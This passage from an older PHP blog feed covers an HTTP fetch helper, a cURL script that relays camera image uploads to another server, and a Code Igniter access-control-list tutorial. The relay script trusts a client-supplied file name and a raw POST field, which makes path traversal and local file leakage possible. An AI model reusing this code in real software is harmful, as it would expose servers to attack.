			<span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * HTTP helper function.&lt;br /&gt;
	 * Loads an http request and returns result.
	 *
	 * @param string $url to request
	 *
	 * @return string the result
	 *
	 */</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> _getHTTPRequest<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #666666; font-style: italic;">// vars</span>
		<span style="color: #000088;">$html</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$old</span>  <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>	
		<span style="color: #666666; font-style: italic;">//</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">//configuration</span>
		<span style="color: #000088;">$timeout</span> 			<span style="color: #339933;">=</span> <span style="color: #cc66cc;">15</span><span style="color: #339933;">;</span>
		<span style="color: #666666; font-style: italic;">//</span>
&nbsp;
		<span style="color: #666666; font-style: italic;">// execution</span>
		try
		<span style="color: #009900;">&#123;</span>
&nbsp;
  			<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><a href="http://www.php.net/fopen" rel="external"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'rb'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$html</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/stream_get_contents" rel="external"><span style="color: #990000;">stream_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<a href="http://www.php.net/fclose" rel="external"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>						
&nbsp;
		<span style="color: #009900;">&#125;</span>
		catch<span style="color: #009900;">&#40;</span>Exception <span style="color: #000088;">$e</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$html</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'error'</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #666666; font-style: italic;">//</span>
&nbsp;
		<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$html</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2010/08/21/basic-web-mapper/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tunneling a multipart POST message through PHP and CURL</title>
		<link>http://jorgealbaladejo.com/2010/05/05/tunneling-a-multipart-post-message-through-php-and-curl/</link>
		<comments>http://jorgealbaladejo.com/2010/05/05/tunneling-a-multipart-post-message-through-php-and-curl/#comments</comments>
		<pubDate>Wed, 05 May 2010 14:50:51 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[HTTP]]></category>
		<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[post]]></category>
		<category><![CDATA[tunneling]]></category>

		<guid isPermaLink="false">http://jorgealbaladejo.com/?p=347</guid>
		<description><![CDATA[Tunneling a multipart POST message through PHP and CURL]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">In this post I&#8217;m going to cover a particular solution to a given problem we&#8217;ve faced up in our last project. Let&#8217;s set the background: there is a complex web application under development on a shared virtual machine, installed on a subdomain of a public network that will change when going to production. We have also a commercial website hosted in a shared server under a domain that should not change, since it is our first step out of this virtual farm.</p>
<p style="text-align: justify;">For this project, we require to integrate some cameras which send pictures via GPRS connections to the server, and we want to provide some user authentication to avoid having anybody posting whatever to this web service. So, we have developed a controller in Code Igniter which gets a camera ID / password from POST, and also the bytes for the image, and proceeds to do some filtering. For instance, camera ID and password should match with the values previously registered in the database, and the picture should be MIME image/jpeg, with a limit of 2MBs. Up to now, nothing special, tested and working with POSTS from the within the website.</p>
<p style="text-align: justify;">The problem came when we found out that cameras only allow to send their information to a root domain, to a particular file, let&#8217;s say upload.php. So, we would only need to put this file in the root path and it&#8217;s done. Unfortunately, doing so in the application virtual server would result on flashing again all the cameras once we move to a new server and set up a final domain name. We might be able to install this receiver in the commercial website root path, but then we would require to send the message back to the application server in any way, so it is not the best solution we want to solve this issue.</p>
<p style="text-align: justify;">&#8216;Just add a domain that points to this subdomain and you are done&#8217; would you say. Well, yes, that would have done the trick. Unfortunately, we cannot host this domain in the machine since we have no administrator rights on the servers farm. Nor can we just use this external domain because it produces an HTTP redirection which, to make things worse, is not supported by the camera. We&#8217;ve even tried with cloaking the url of the receiver with an external subdomain, with no success &#8211; since cloaking wraps the real content inside an iframe and it breaks the POST message.</p>
<p style="text-align: justify;">What a headache! it seemed there was no way to implement the system with the full functionality we wanted&#8230;</p>
<p style="text-align: justify;"><span id="more-347"></span>At thas moment we were a bit puzzled because we had to choose between two main options, which in any case took us away from the initial implementation design:</p>
<ul style="text-align: justify;">
<li>hosting the receiver script in a subdomain that would change</li>
<li>hosting it in a fixed external domain (the commercial website) and try to send the messages back to the application server</li>
<li>in any case, we would have to implement the features planned for the Code Igniter controller in this new stand-alone script, which would produce extra work and remove some built-in capabilities</li>
</ul>
<p style="text-align: justify;">How to fix this problem? Well, he have chosen a variant of #2: try to send the messages back to the application server. But how exactly? Well, by <strong>tunneling the multipart POST message with <a href="http://ch2.php.net/manual/en/book.curl.php"title="PHP CURL"  target="_blank" rel="external">CURL</a></strong>.</p>
<p style="text-align: justify;">To achieve our goal we have written a script which is hosted in the domain root of the commercial website, with does the following:</p>
<ol style="text-align: justify;">
<li>Reads the serial number sent by the camera</li>
<li>Reads the temporary upload file, and moves it to a specified folder</li>
<li>Initializes and configures PHP-CURL to generate a new POST message with the data recovered and the image content as multipart form</li>
<li>Deletes the temporary file created</li>
</ol>
<p style="text-align: justify;">And<strong> the code</strong>:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p347code17'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p34717"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
</pre></td><td class="code" id="p347code17"><pre class="php" style="font-family:monospace;"><span style="color: #009933; font-style: italic;">/**
 * @file upload.php
 * This pipeline grabs a POST message and sends it back to a processing server
 * It is meant to solve a particular problem where the sender device has limited
 *  HTTP functionalities like being unable to deal with Apache redirections
 *
 * This code is just an example, you may use for learning purposes
 *
 */</span>
<span style="color: #666666; font-style: italic;">// camera serial number, it is barely filtered because the real processing</span>
<span style="color: #666666; font-style: italic;">//  is to be done in the final server</span>
<span style="color: #000088;">$csn</span>	<span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span> <a href="http://www.php.net/isset" rel="external"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'CSN'</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span> ? <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'CSN'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #cc66cc;">0</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// we need to locally store the file to resend it</span>
<span style="color: #000088;">$file</span> 	<span style="color: #339933;">=</span> <span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'userfile'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$tmp</span> 	<span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;tmp/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$file</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<a href="http://www.php.net/move_uploaded_file" rel="external"><span style="color: #990000;">move_uploaded_file</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$file</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;tmp_name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tmp</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// post information is rebuilt</span>
<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'CSN'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #000088;">$csn</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'userfile'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000ff;">'@'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$tmp</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">// note the @ which tells CURL that this field is a file</span>
<span style="color: #666666; font-style: italic;">// this will be automatically interpreted as a application/multipart form</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// init and configure curl</span>
<span style="color: #000088;">$ch</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/curl_init" rel="external"><span style="color: #990000;">curl_init</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://www.php.net/curl_setopt" rel="external"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_URL<span style="color: #339933;">,</span> <span style="color: #0000ff;">'http://the-application-server/path/controller/method'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://www.php.net/curl_setopt" rel="external"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POST<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://www.php.net/curl_setopt" rel="external"><span style="color: #990000;">curl_setopt</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$ch</span><span style="color: #339933;">,</span> CURLOPT_POSTFIELDS<span style="color: #339933;">,</span> <span style="color: #000088;">$data</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// finally, send</span>
<a href="http://www.php.net/curl_exec" rel="external"><span style="color: #990000;">curl_exec</span></a> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$ch</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// and delete the locally stored file</span>
<a href="http://www.php.net/unlink" rel="external"><span style="color: #990000;">unlink</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tmp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://jorgealbaladejo.com/2010/05/05/tunneling-a-multipart-post-message-through-php-and-curl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Access Control List (ACL) with Code Igniter</title>
		<link>http://jorgealbaladejo.com/2009/04/24/access-control-list-acl-with-code-igniter/</link>
		<comments>http://jorgealbaladejo.com/2009/04/24/access-control-list-acl-with-code-igniter/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 13:24:12 +0000</pubDate>
		<dc:creator>Jorge Albaladejo</dc:creator>
				<category><![CDATA[Php]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Web Architecture]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[ACL]]></category>
		<category><![CDATA[Code Igniter]]></category>

		<guid isPermaLink="false">http://jorgealbaladejo.com/?p=291</guid>
		<description><![CDATA[In the last project I&#8217;ve worked on, I needed to install any kind of ACL to allow certain methods to be accessed only by some user roles, like website administration, etc. I&#8217;m building this website on Code Igniter, so I missed some related features that are available in other PHP frameworks like CakePHP or Zend. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">In the last project I&#8217;ve worked on, I needed to install any kind of ACL to allow certain methods to be accessed only by some user roles, like website administration, etc. I&#8217;m building this website on Code Igniter, so I missed some related features that are available in other PHP frameworks like CakePHP or Zend.</p>
<p style="text-align: justify;">After googling a bit, I found our several methods to get an ACL. Zend framework can be integrated into Code Igniter to use its library, but doesn&#8217;t seem really natural to me. I prefer having an previously constructed list, than building it &#8216;on the fly&#8217; inside my code.</p>
<p style="text-align: justify;">Then I fell into phpGACL, a free software project which allows to solve this problem on an easy way. It uses an API to connect to a database, where tuples of &#8216;controller&#8217; &#8211;  &#8216;method&#8217; &#8211; &#8216;user&#8217; can be stored (actually, AXO &#8211; ACO &#8211; ARO, acronyms of Access eXtended Object, Access Control Object, Access Request Object). And I developed my first version over this tool, on the most transparent way I was able to find:</p>
<p style="text-align: justify;"><span id="more-291"></span></p>
<ul style="text-align: justify;">
<li>There is a MY_Controller class where all other controllers inherit from</li>
<li>Constructor in this class launches a method, also in the parent controller, like $this->checkAccess(), so ACL is always evaluated before launching any other controller.</li>
<li>Method checkAccess gets user ID and role from session values (typically, in database) and calls phpGACL passing it three parameters: the user role, and current method and controller (both taken from the url string)</li>
</ul>
<p style="text-align: justify;">Note that I used the parent controller constructor to launch the user access control, but I could have used a hook. However, I preferred this for the sake of visibility: I&#8217;ll never forget what&#8217;s exactly running on every call to my controllers. But, this is only a matter of personal style.</p>
<p style="text-align: justify;">The code would have looked like this:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p291code21'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p29121"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="code" id="p291code21"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">class</span> MY_Controller <span style="color: #000000; font-weight: bold;">extends</span> Controller
<span style="color: #009900;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$gacl</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">function</span> MY_Controller<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    parent<span style="color: #339933;">::</span><span style="color: #004000;">Controller</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// acl initialization</span>
    <span style="color: #b1b100;">include_once</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'path_to_phpgacl_library'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">gacl</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> gacl<span style="color: #009900;">&#40;</span><a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'db_host'</span>     <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'acl_host'</span><span style="color: #339933;">,</span>
                                 <span style="color: #0000ff;">'db_user'</span>     <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'acl_user'</span><span style="color: #339933;">,</span>
                                 <span style="color: #0000ff;">'db_password'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'acl_pass'</span><span style="color: #339933;">,</span>
                                 <span style="color: #0000ff;">'db_name'</span>     <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'acl_base'</span><span style="color: #339933;">,</span>
                                 <span style="color: #0000ff;">'db_type'</span>     <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'acl_type'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #666666; font-style: italic;">// does the user have access?</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">checkAccess</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      redirect<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'refresh'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
     * Uses phpGACL library to determine user access.
     * Checks if a user has access to a method on a controller.
     * Takes user role from session.
     * Takes method and controller from $this-&gt;uri attribute.
     *
     * @return boolean if access is granted
     *
     */</span>
  <span style="color: #000000; font-weight: bold;">function</span> checkAccess<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">// variables</span>
    <span style="color: #000088;">$method</span>     <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">uri</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">rsegments</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$controller</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">uri</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">rsegments</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$role</span>       <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">rdauth</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getUserRole</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #666666; font-style: italic;">//</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// I've created sections 'methods' for ACO's,</span>
    <span style="color: #666666; font-style: italic;">//  'users' for ARO's and 'controllers' for AXO's</span>
    <span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">gacl</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">acl_check</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'methods'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$method</span><span style="color: #339933;">,</span>
                                     <span style="color: #0000ff;">'users'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$role</span><span style="color: #339933;">,</span>
                                     <span style="color: #0000ff;">'controllers'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$controller</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p style="text-align: justify;">Note also that this method runs automagically, converting url strings (controller and method) to phpGACL calls. Even though loading the default method for a controller (/index is omitted), internally CI auto fills this value as if it was written in url.</p>
<p style="text-align: justify;">User role, as stated before, is returned by a custom library called rdauth, which will check session cookie to determine if there is a user logged in or not.</p>
<p style="text-align: justify;">I used this system along several weeks, but finally I realized that &#8211; for my particular case &#8211; having all ACL definition in a database was not a good idea. Although phpGACL has an easy to use web interface to create these lists, and access control was separated from code, I found out these potential problems:</p>
<ol style="text-align: justify;">
<li>Of course, ACL&#8217;s are out of code. That means that it database fails, or any careless user changes something there, all sites whose permissions depend on this database will allow the wrong user roles to access the undesired forbidden controller / methods. Not a good piece of news for paranoid administrators.</li>
<li>Unless I create several databases, all historic branches, develop version and production version will share the same permissions. This is a bit messy to work with.</li>
<li>When I&#8217;m coding I don&#8217;t have a clear idea of what methods can be accessed by the user role that I&#8217;m testing. If I develop a new method to test, I need to go to web admin tool to add it.</li>
</ol>
<p style="text-align: justify;">So there are benefits of using phpGACL, but also derived problems. Was at this point, when talking to a friend about this, that we realized that actually doesn&#8217;t matter if ACL&#8217;s are in databases or just arrays.</p>
<p style="text-align: justify;">So the approach of the final solution implemented is:</p>
<ul style="text-align: justify;">
<li>Let&#8217;s change phpGACL with an access array in every controller</li>
<li>Let&#8217;s change checkAccess method to look into this array instead of calling phpGACL API</li>
</ul>
<p style="text-align: justify;">The main flow for the users access control remains unchanged, and it is still transparent from a coder&#8217;s view. Even we gain control over what&#8217;s happening with every controller, since $access array is very descriptive:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p291code22'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p29122"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="code" id="p291code22"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$access</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'login'</span>                  <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'visitors'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span>
                    <span style="color: #0000ff;">'resetPassword'</span>          <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'visitors'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'registered'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'editors'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'managers'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'administrators'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span>
                    <span style="color: #0000ff;">'resetPasswordConfirm'</span>   <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'visitors'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'registered'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'editors'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'managers'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'administrators'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span>
                    <span style="color: #0000ff;">'changePassword'</span>         <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'registered'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'editors'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'managers'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'administrators'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">,</span>
                    <span style="color: #0000ff;">'logout'</span>                 <span style="color: #339933;">=&gt;</span> <a href="http://www.php.net/array" rel="external"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'registered'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'editors'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'managers'</span><span style="color: #339933;">,</span>
                                                      <span style="color: #0000ff;">'administrators'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p style="text-align: justify;">Each method in the current controller has an entry in $access array. This entry is an array with all the roles that can load every method. Simple, isn&#8217;t it?</p>
<p style="text-align: justify;">MY_Controller class then would look like:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?" rel="external"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p291code23'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p29123"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="code" id="p291code23"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">class</span> MY_Controller <span style="color: #000000; font-weight: bold;">extends</span> Controller
<span style="color: #009900;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$gacl</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">function</span> MY_Controller<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    parent<span style="color: #339933;">::</span><span style="color: #004000;">Controller</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// does the user have access?</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">checkAccess</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      redirect<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'refresh'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
     * Uses every controller access array to determine user permissions.
     * Checks if a user has access to a method on a controller.
     * Takes user role from session.
     * Takes method and controller from $this-&gt;uri attribute
     *
     * @return boolean if access is granted
     * @see phpGACL
     *
     */</span>
    <span style="color: #000000; font-weight: bold;">function</span> checkAccess<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #666666; font-style: italic;">// variables</span>
        <span style="color: #000088;">$method</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">uri</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">rsegments</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
